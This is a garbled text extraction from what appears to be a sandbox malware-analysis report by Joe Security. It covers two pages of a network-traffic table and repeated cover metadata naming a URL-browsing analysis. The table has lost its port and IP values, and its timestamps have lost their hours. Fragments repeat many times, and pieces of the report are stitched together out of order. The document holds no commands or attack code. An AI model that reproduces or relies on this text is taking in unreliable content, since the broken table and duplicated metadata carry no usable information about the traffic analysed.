CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Copyright Joe Security LLC 2018 Page 20 of 32

21 Timestamp Port Dest Port IP Dest IP Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :07: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Jul 11, :08: CEST Copyright Joe Security LLC 2018 Page 21 of 32

ID: Cookbook: browseurl.jbs Time: 00:12:30 Date: 24/03/2018 Version:

ID: Cookbook: browseurl.jbs Time: 00:12:30 Date: 24/03/2018 Version: ID: 51630 Cookbook: browseurl.jbs Time: 00:12:30 Date: 24/03/2018 Version: 22.0.0 Table of Contents Analysis Report Overview General Information Detection Confidence Classification Analysis Advice Signature